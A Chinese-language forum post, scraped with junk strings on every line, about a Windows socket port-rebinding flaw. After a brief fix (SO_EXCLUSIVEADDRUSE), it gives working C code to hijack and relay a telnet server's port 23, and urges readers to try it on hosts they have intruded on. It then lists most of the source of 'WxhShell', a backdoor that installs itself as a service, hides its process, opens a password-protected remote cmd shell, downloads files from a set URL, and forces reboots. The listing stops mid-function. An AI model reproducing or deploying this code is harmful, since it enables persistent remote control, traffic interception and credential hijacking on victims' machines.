在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
gXI-{R7Me s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$NR[U+ Tx}Nr^ saddr.sin_family = AF_INET;
3wfcGQn|sD 6xDk3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1'f_C<.0 336ETrG^0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
T`e`nQ0nn uGZGI;9f4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|3~m8v2- RG'iWA,9m` 这意味着什么?意味着可以进行如下的攻击:
LzL)qdL CR$wzjP j 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(?l ]}p^[ X$@`4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3(oMASf AFi_P\X 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
i(%2t(wf+ 1
*'
/B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
g>t1rZ bll[E}E|3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
o-bH3Jkb]& 6>] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+6uf6&.@~ )h@PRDI_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6:(s8e o9}\vN0F #include
9\EW~OgTu #include
}.o.*N #include
t"B3?<?] #include
g-K;J4 K% DWORD WINAPI ClientThread(LPVOID lpParam);
{m*lt3$k int main()
T^4 dHG-( {
?7fqWlB WORD wVersionRequested;
4~Qnhv7 DWORD ret;
CcUF)$kz WSADATA wsaData;
;i[JCNiS\ BOOL val;
FO/cEu SOCKADDR_IN saddr;
z%E(o%l8 SOCKADDR_IN scaddr;
[yMSCCswW int err;
KKsVZ~<6u SOCKET s;
Z}t;:yhR SOCKET sc;
MiZ<v/L2 int caddsize;
ow'G&<0b HANDLE mt;
x\'3UKQP+^ DWORD tid;
RNc:qV<H wVersionRequested = MAKEWORD( 2, 2 );
7G+!9^ err = WSAStartup( wVersionRequested, &wsaData );
D _dv8 if ( err != 0 ) {
,a&,R*r@& printf("error!WSAStartup failed!\n");
(nQm9 M( return -1;
poAJl;T }
85!]NF saddr.sin_family = AF_INET;
[y8(v ~H 3:GwX4yW //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
f$FO 1B) ~R[ k^i.Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4^r6RS@z saddr.sin_port = htons(23);
=Xvm#/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\d;)U4__! {
+IS6l*_y>6 printf("error!socket failed!\n");
,Vq$>T@z return -1;
vu)EB!%[ }
'!A}.wF0 val = TRUE;
QcrhgR //SO_REUSEADDR选项就是可以实现端口重绑定的
'ge$}L}4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
aB6/-T+u {
f_)# printf("error!setsockopt failed!\n");
s=:)!M.i return -1;
Yeg<MrS4D }
VLV]e_D6s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
JOG-i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[;{xiW4V] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
I=dn]}b#P {d<XDx4` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0UJ6>Rj {
yf&_l^! ret=GetLastError();
f?:=@35 printf("error!bind failed!\n");
&jY|
:Fe return -1;
%T$>E7]! }
Je|:\Qk listen(s,2);
?GH/W#{o) while(1)
1qR$ Yr\ {
v)np.j0V7 caddsize = sizeof(scaddr);
Pm6U:RL //接受连接请求
:
jkO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
G>"n6v'^d if(sc!=INVALID_SOCKET)
OCu_v%G0 {
gbYM1guiD mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`^#4okg] if(mt==NULL)
=~J VU {
iDcTO} printf("Thread Creat Failed!\n");
Zj -#"Gm break;
adu6`2*$ }
o@N[O^Q
V }
_`p-^I CloseHandle(mt);
ll0y@@Iy }
C-A?
mIC closesocket(s);
8Tg1 >q< WSACleanup();
K !ILO return 0;
3Qd/X&P }
`Kg!aN DWORD WINAPI ClientThread(LPVOID lpParam)
v {r %/* {
mxZ+r#|di SOCKET ss = (SOCKET)lpParam;
{96MfhkeBv SOCKET sc;
q]yw",muT unsigned char buf[4096];
!U:&8Le SOCKADDR_IN saddr;
Q3%] long num;
k={1zl ; DWORD val;
QuEX|h,F DWORD ret;
C9?mxa*z //如果是隐藏端口应用的话,可以在此处加一些判断
EVLL,x.~:z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#lMcAYH, saddr.sin_family = AF_INET;
;`^_9
K saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ilQ}{p6I saddr.sin_port = htons(23);
g%Tokl if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L754odc {
;6 W[%{ printf("error!socket failed!\n");
cY5;~lO return -1;
OvQzMXU^I }
k62s|VeU val = 100;
VoYL}67c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b-/QZvg {
y;CX)!8 ret = GetLastError();
pYzop4 return -1;
dhA~Yu }
ML'y`S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=PY{Elf {
4Cu\|"5) ret = GetLastError();
d:|x e : return -1;
C{$iuus0 }
3#$X if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
R~iv%+ {
.'A1Eoo0d printf("error!socket connect failed!\n");
B-_b.4ND) closesocket(sc);
[ KgO:},c closesocket(ss);
Z[w}PN,xV return -1;
d)V8FX,t }
uWKmINjv' while(1)
5-GS@fY {
"`cN k26JZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)EB+(c~E //如果是嗅探内容的话,可以再此处进行内容分析和记录
vu@.;-2E% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
WPsfl8@D num = recv(ss,buf,4096,0);
Bk3\NPa if(num>0)
n=4 send(sc,buf,num,0);
FS=yc.Q_ else if(num==0)
o}G`t
Bz break;
niCK(&z num = recv(sc,buf,4096,0);
)%S@l<%@? if(num>0)
'ux!:b" send(ss,buf,num,0);
q/zU'7%@ else if(num==0)
*]HnFP break;
ms5?^kS2O }
_p4]\LA closesocket(ss);
w!H(zjv&( closesocket(sc);
>i*,6Psl[Z return 0 ;
UL}wGWaoG }
deaB_cjdI VO eVS&} \8$~ i ==========================================================
;PC! >w<w*pC 下边附上一个代码,,WXhSHELL
TaD;_)( gIz!~I_U ==========================================================
V'{\g|) UA*VqK)Y #include "stdafx.h"
hsY?og_H OWwqCPz. #include <stdio.h>
jr0j0$BF #include <string.h>
d2Q*1Q@u #include <windows.h>
@kh<b<a4 #include <winsock2.h>
4j=K3m #include <winsvc.h>
JqMF9|{H #include <urlmon.h>
hZHM5J~ -_Z 4)"k #pragma comment (lib, "Ws2_32.lib")
DqQp47kp #pragma comment (lib, "urlmon.lib")
_rB,N#{2R= ^D+^~>f #define MAX_USER 100 // 最大客户端连接数
H}kSXKO8!8 #define BUF_SOCK 200 // sock buffer
h-1?c\Qq: #define KEY_BUFF 255 // 输入 buffer
w -o#=R_ F^bY]\-5 #define REBOOT 0 // 重启
{*B0lr` #define SHUTDOWN 1 // 关机
2rT^OGw6 wjl )yo$z #define DEF_PORT 5000 // 监听端口
;DK%!."% ,\v'%,:C #define REG_LEN 16 // 注册表键长度
s*la`(x #define SVC_LEN 80 // NT服务名长度
l[:Aq&[o3 >-N(o2j3 // 从dll定义API
1}a4AGAp typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
R]X 0D. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
t}_ #N'` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*'{-!Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
=W3
K6w rWL;pM< // wxhshell配置信息
MBg[hu% struct WSCFG {
-JgNujt#9 int ws_port; // 监听端口
8lpAe0p(Z char ws_passstr[REG_LEN]; // 口令
;_"|# int ws_autoins; // 安装标记, 1=yes 0=no
,9bnR;f\ char ws_regname[REG_LEN]; // 注册表键名
dWQsC| char ws_svcname[REG_LEN]; // 服务名
GKo&?Tj) char ws_svcdisp[SVC_LEN]; // 服务显示名
o:Kw<z,$H char ws_svcdesc[SVC_LEN]; // 服务描述信息
-&Xv,:'? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
IyHbl_P ^ int ws_downexe; // 下载执行标记, 1=yes 0=no
*p
$0(bz char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/_l\7MeI char ws_filenam[SVC_LEN]; // 下载后保存的文件名
BJUj#s0$ `5@F'tKQ };
K{ar)_V/ 1`7zYW&L // default Wxhshell configuration
"QdK
Md struct WSCFG wscfg={DEF_PORT,
Z,#H\1v3lB "xuhuanlingzhe",
cp(qaa 1,
klJ21j0Bb2 "Wxhshell",
rT[qh+KWe "Wxhshell",
2.z-&lFBZ "WxhShell Service",
Q"qI'*Kgt "Wrsky Windows CmdShell Service",
viAAb "Please Input Your Password: ",
l{Df{1b. 1,
L_!ShE "
http://www.wrsky.com/wxhshell.exe",
oVy{~D= "Wxhshell.exe"
FoK2h!_ };
;`#R9\C=h ;Z{D@g+ // 消息定义模块
swF{}S" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7v%c. char *msg_ws_prompt="\n\r? for help\n\r#>";
z;S-Q, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3>1^$0iq char *msg_ws_ext="\n\rExit.";
nf
/*n char *msg_ws_end="\n\rQuit.";
p?Azn>qBa char *msg_ws_boot="\n\rReboot...";
*7Q6b 4~" char *msg_ws_poff="\n\rShutdown...";
EB*sd S char *msg_ws_down="\n\rSave to ";
iwJ_~ 2HFn\kjj.s char *msg_ws_err="\n\rErr!";
{o24A:M char *msg_ws_ok="\n\rOK!";
^-Od*DTL qazA,|L! char ExeFile[MAX_PATH];
+\Vm t[v int nUser = 0;
7l69SQo]? HANDLE handles[MAX_USER];
3{3@>8{w int OsIsNt;
TsTc3 hX{,P:d=f SERVICE_STATUS serviceStatus;
w2nReB z SERVICE_STATUS_HANDLE hServiceStatusHandle;
\2s`mCY =D/zC'l // 函数声明
O6;"cUv int Install(void);
l\s!A&L int Uninstall(void);
pIlEoG=[_ int DownloadFile(char *sURL, SOCKET wsh);
/g<Oh{o8 int Boot(int flag);
27eG8 void HideProc(void);
>u$8Z int GetOsVer(void);
ZUQ
_u int Wxhshell(SOCKET wsl);
>Wr%usNxc void TalkWithClient(void *cs);
~w>h#{RB int CmdShell(SOCKET sock);
1Nt
&+o int StartFromService(void);
,Z"<-%3 int StartWxhshell(LPSTR lpCmdLine);
EG>?>K_D r9@=d VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
EraGG"+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
dgw.OXa ]P?<2, // 数据结构和表定义
|ri)-Bk
, SERVICE_TABLE_ENTRY DispatchTable[] =
9wWBE<}>u {
[%.v;+L {wscfg.ws_svcname, NTServiceMain},
3gi)QCsk {NULL, NULL}
MoIh=rw };
:skR6J ~ skp}g] // 自我安装
v=N?(6T int Install(void)
3xChik{ {
=j,WQ66r3 char svExeFile[MAX_PATH];
,L/ x\_28 HKEY key;
T`EV
uRJ strcpy(svExeFile,ExeFile);
+"?+Be I/f\m}}ba // 如果是win9x系统,修改注册表设为自启动
V"4Z9Qg} if(!OsIsNt) {
Op'a=4x] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H-kX-7C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
OBWWcL- RegCloseKey(key);
Y2
@8B6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^LMgOA(7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/5ZX6YkeH RegCloseKey(key);
bKo %Ak, return 0;
L!fTYX#K] }
11=$]K> }
'X?xn@? }
xl\Kj2^ else {
$m 4-^= Jxe+LG // 如果是NT以上系统,安装为系统服务
~K;QdV=YX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
":Dm/g if (schSCManager!=0)
tq3_az ~1 {
;m(iKwDt SC_HANDLE schService = CreateService
C ^Y\?2h1 (
8-2`S* schSCManager,
4V,.Oi wscfg.ws_svcname,
$GJT wscfg.ws_svcdisp,
"%-Vrb=:Y SERVICE_ALL_ACCESS,
wX,V:QE
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ffrIi',@ SERVICE_AUTO_START,
{OU|' SERVICE_ERROR_NORMAL,
8`q7Yss6F svExeFile,
}E
'r?N NULL,
_Iy\,< NULL,
8%[pno
|0I NULL,
xVm-4gB NULL,
I~GF%$-G NULL
iM+`7L' );
-JMn?] if (schService!=0)
-pu5O9
@ {
Wc3z7xK1@ CloseServiceHandle(schService);
P-@MLIC{ CloseServiceHandle(schSCManager);
7zM:z, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"j^i6RS strcat(svExeFile,wscfg.ws_svcname);
^ Bx[% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
fj_23{,/"g RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
";K w? RegCloseKey(key);
>fPo_@O return 0;
ZitM<Qi&y }
/DYyl/ }
!J`lA CloseServiceHandle(schSCManager);
ZaFt4# }
2B,O/3y }
Ed9Uw7 /A=w`[< return 1;
6%v9o?:~l }
@R[{ JB_fS/I // 自我卸载
/).{h'^Hq\ int Uninstall(void)
R?{+&r.X {
CKsVs.:u HKEY key;
-pC8 L< 7{;it uqX if(!OsIsNt) {
?"B]"%M& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@YJI'Hf67 RegDeleteValue(key,wscfg.ws_regname);
:D.0\.p RegCloseKey(key);
=*mT{q@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~Z\:Nx RegDeleteValue(key,wscfg.ws_regname);
=6%oW2E\ RegCloseKey(key);
',+yD9 @ return 0;
;a:H-iC }
YDt+1Kw}D }
zsFzg.$3& }
;XKe$fsa~? else {
*ukyQZ9 6
63o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
%oZ:Awx if (schSCManager!=0)
J$dwy$n {
kxn&f(5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
d$dy6{/YD if (schService!=0)
ep0,4!#FAO {
TCtZ2
<' if(DeleteService(schService)!=0) {
{z#2gc'Q CloseServiceHandle(schService);
X#Bb?Pv CloseServiceHandle(schSCManager);
:=*deZ< return 0;
9"[;ld < }
jc}G+|` CloseServiceHandle(schService);
!vnQ;g5 }
UO/sv2CN CloseServiceHandle(schSCManager);
:+rGBkw1m }
N##` }
A'WR!*Yt v3tJtb^'! return 1;
bOS)vt*V }
% RSZ. <n"BPXF~ // 从指定url下载文件
Tb/TP3N int DownloadFile(char *sURL, SOCKET wsh)
M>8J_{r^ {
I[\~pi, HRESULT hr;
UM}u(;oo%) char seps[]= "/";
eI
#Gx_mg char *token;
APQq F/ char *file;
6b|?@ char myURL[MAX_PATH];
8)i""OD@I char myFILE[MAX_PATH];
|{ jT+ Jd2.j?P= strcpy(myURL,sURL);
']]d-~: token=strtok(myURL,seps);
r~w.J+W while(token!=NULL)
s\ IKSoE {
*7BfK(9T file=token;
NW3c_]`= token=strtok(NULL,seps);
eim +oms }
my=f}%k= (~T*yH ~ GetCurrentDirectory(MAX_PATH,myFILE);
2ZH+fV?. strcat(myFILE, "\\");
U,
6iT strcat(myFILE, file);
+n3I\7G> send(wsh,myFILE,strlen(myFILE),0);
s='+[*&& send(wsh,"...",3,0);
DL]tg[w{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
KWTV!Wxb=K if(hr==S_OK)
5=dL` return 0;
B@,9Cx564 else
{|;a?]? return 1;
K|& f5w Z 6jEj9?O }
Mf}M/Fh ?GhyVXS y. // 系统电源模块
8~sP{V% int Boot(int flag)
:FyF:=
{
p7h#.m~Qu HANDLE hToken;
WWT1= #" TOKEN_PRIVILEGES tkp;
5{Cz!ut;tE uOxHa>h if(OsIsNt) {
P T"}2sR) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}Q7y tE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
4#U}bN tkp.PrivilegeCount = 1;
`]Bb0h1![ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
5xY{Q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|"H 2'L$ if(flag==REBOOT) {
~z,o):q1} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
(!j#u)O return 0;
<v"o+ }
!e$gp(4
else {
5J5si<v25 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
DE?v'7cmA return 0;
&W `xZyb3 }
UZZJtQt }
9KSi-2?H else {
_IH" SVub if(flag==REBOOT) {
rg/{5f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4s\spvJ return 0;
]B8
A }
3v* ~CQy9 else {
\P\Z<z7jy if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;*K4{wvG return 0;
R>'
%}|v/ }
_ k-_&PR }
,d
G. 67 ``o]i{x return 1;
Z`Yt~{,Q }
pwUXM?$R eH&F gmU // win9x进程隐藏模块
`-NK:;^ void HideProc(void)
GW2\YU^{ {
yMs!6c* P
rt}
01$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Sb.8d]DW if ( hKernel != NULL )
:t?B) {
}r}*=;Ea pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ZWs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=TB_|`5;j FreeLibrary(hKernel);
&H(yLd[ }
I[z:;4W}L^ jU,Xlgz(A return;
=8^+M1I }
OLw]BJXYaE LiJYyp // 获取操作系统版本
.Po"qoGy int GetOsVer(void)
_vQ52H, {
j;x()iZ< OSVERSIONINFO winfo;
ez4!5&TzRm winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
L"_XWno GetVersionEx(&winfo);
J0G@]H if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
"> uN={Iy return 1;
z^Q'GBoBA else
[K{{P|(q return 0;
$-4](br| }
gesbt "W<Y1$Y=Y // 客户端句柄模块
'uPAG;)m int Wxhshell(SOCKET wsl)
P5S]h {
'3.\+^3 SOCKET wsh;
$:ush"=f8^ struct sockaddr_in client;
nD
wh DWORD myID;
"CJVtO j50vPV8m while(nUser<MAX_USER)
Ik G& {
5'%I4@Qn+ int nSize=sizeof(client);
K`*GZ+b|` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
r924!zdbR if(wsh==INVALID_SOCKET) return 1;
%L|fTndKH U,<m%C" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
l.YE@EL if(handles[nUser]==0)
fHt \KP closesocket(wsh);
'K[ml ?_ else
bQ<qdGa nUser++;
<'y<8gpM }
}\4yU=JPK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
24sMX7Q,i 5Rqdo\vE return 0;
Pz4#>tP }
"k zKQ~ *D5 xbkH=. // 关闭 socket
I16FVdUun4 void CloseIt(SOCKET wsh)
;Iu _*U9) {
Met?G0[ closesocket(wsh);
K.tNV{OL nUser--;
W"{Ggk` ExitThread(0);
l1KMEGmG }
|k a _Zy [lmF2 // 客户端请求句柄
p_$^keOL void TalkWithClient(void *cs)
js$R^P {
">V&{a-C4 (*-wiL SOCKET wsh=(SOCKET)cs;
/ViY:-8s char pwd[SVC_LEN];
FW]tDGJOw char cmd[KEY_BUFF];
yi7.9/;a char chr[1];
q'D Ts9Bj int i,j;
`[ZswLE U%3N=M while (nUser < MAX_USER) {
6v%yU3l ^F^g(|(K if(wscfg.ws_passstr) {
|r9<aVlK if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
LI,wSTVjC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~Xi@#s~ //ZeroMemory(pwd,KEY_BUFF);
@@d_F<Ym[ i=0;
#UGSn:D<i while(i<SVC_LEN) {
1NYR8W]2 NAYLlW}A // 设置超时
Hv6h7- fd_set FdRead;
r@G*Fx8Z struct timeval TimeOut;
r$jWjb FD_ZERO(&FdRead);
R%r
bysP FD_SET(wsh,&FdRead);
WfPb7T TimeOut.tv_sec=8;
=m.Nm -g TimeOut.tv_usec=0;
>$Y/B=e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
87
gk
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
VcjbRpTy& Q14zc0N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ay"jWL- pwd
=chr[0]; {C |R@S
if(chr[0]==0xd || chr[0]==0xa) { v,4{:y]p
pwd=0; +C~h(
break; *s6x
} zs$r>rlO
i++; $6"sR I6u
} 9A|A@E#
/=2aD5r
// 如果是非法用户,关闭 socket Gp%po@A&
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _^ hg7&dF
} W>3S%2d
-^&=I3bp
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hSehJjEoM
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <2U#U;
7q0_lEh
while(1) { dT|XcVKg
=<]`'15"V
ZeroMemory(cmd,KEY_BUFF); &V4Zmn?UU
vQWmHv\P
// 自动支持客户端 telnet标准 i)#-VOhX)
j=0; vh,(]t
while(j<KEY_BUFF) { C% -Tw]T$_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y3~=8!Tj?Q
cmd[j]=chr[0]; b6k`R4S3
if(chr[0]==0xa || chr[0]==0xd) { o78u>O y
cmd[j]=0; sn"((BsO<
break; G`!x+FB
} O|Uz)Y94
j++; c5]Xqq,
} ~${~To8$CW
9qx4F<
// 下载文件 Q2
q~m8(
if(strstr(cmd,"http://")) { e5_Hmuk|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \, R;
if(DownloadFile(cmd,wsh)) w>W #cTt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 20Zxv!
else <AgB"y@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M}]
*j
} Ow0>qzTg
else { SxF'2ii
aH}/+Hu-
switch(cmd[0]) { $6Ma{r C|
qbyYNlXqm
// 帮助 <4rnOQ:
case '?': { p)biOG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {-A|f
break; $dM_uSt
} BN*:*cmUl
// 安装 [f+wP|NKL
case 'i': { K0w}l" )A
if(Install()) HZ3;2k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S:1[CNL;
else CPB{eQeDuv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Es>' N3A
z
break; 6Bq_<3P_
} 5CK+\MK
// 卸载 oh5'Isb$
case 'r': { sL@\,]Y
if(Uninstall()) SZGR9/*^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BX_yC=S
else ns~]a:1yh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?%3dgQB'
break; h@RpS8!Bi
} YsmRY=3
// 显示 wxhshell 所在路径 fcq8aW/z_
case 'p': { bPVk5G*ruP
char svExeFile[MAX_PATH]; 461g7R%r
strcpy(svExeFile,"\n\r"); 8063LWV
strcat(svExeFile,ExeFile); SkuR~!
send(wsh,svExeFile,strlen(svExeFile),0); b<FE
break; b1Vr>:sK47
} 4,y7a=qf3
// 重启 f*%kHfaXgN
case 'b': { !Yof%%m$;
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X>I3N?5
if(Boot(REBOOT)) U["0B8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h$5[04.Q
else { U7WYS8
closesocket(wsh); y[N0P0r l:
ExitThread(0); E#!N8fQ
} tz;3
break; UZ<K'H,q
}
;JxL>K(
// 关机 "_/ih1z]
case 'd': { HH*y$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fd[N]I3
if(Boot(SHUTDOWN)) q7 PCMe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8-#kY}d.
else { 3ijPm<wn
closesocket(wsh); !hVbx#bXl
ExitThread(0); oC`F1!SfOO
} :M(uP e=D
break; !.P||$x`&
} !E$$FvL
// 获取shell n])#<0
case 's': { Wt/;iq"
CmdShell(wsh); 2E }vuw=c
closesocket(wsh); *2Pr1U
ExitThread(0); oU|G74e6
break; V'9.l6l
} 4Y(@
KUb
// 退出 iC3z5_g*@
case 'x': { _(-jk4 L
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <WP@q&^k\
CloseIt(wsh); 5x+]uABE
break; #@FA=p[%
} zRna=h!
// 离开 M\{n+r-m
case 'q': { MtkU]XKGT
send(wsh,msg_ws_end,strlen(msg_ws_end),0); &nIu^,.
closesocket(wsh); F85_Lz4
WSACleanup(); uZ6krI
exit(1); C8K2F5c5
break; _mSefPl
} 1(DiV#epG
} "{~5QO
} @1CXc"IgA
C*mVM!D);!
// 提示信息 *}\M!u{J
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M
v6 ^('
} l.@1]4.
} %o8o~B|{.U
6x^$W ]R
return; uHU@j(&c
} s| p I`
sZrVANyqb
// shell模块句柄 gGMfy]]R
int CmdShell(SOCKET sock) w0!$ow.l
{ BwT[SI<Sg
STARTUPINFO si; @HS*%N"*
ZeroMemory(&si,sizeof(si)); *73gp
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c'2/ C5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l@);U%\pS
PROCESS_INFORMATION ProcessInfo; ]s=|+tz\V
char cmdline[]="cmd"; ;TL.QN/l
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,4'gj0
return 0; LGt>=|=bj
} c`<2&ke
3y)\dln
// 自身启动模式 PCl5,]B}
int StartFromService(void) ~xd?y*gk;
{ 9[/0
typedef struct &vrQ *jX
{ s70Z&3A
DWORD ExitStatus; wsmgkg
DWORD PebBaseAddress; +Kk1[fh-
DWORD AffinityMask; 8n3]AOc'~-
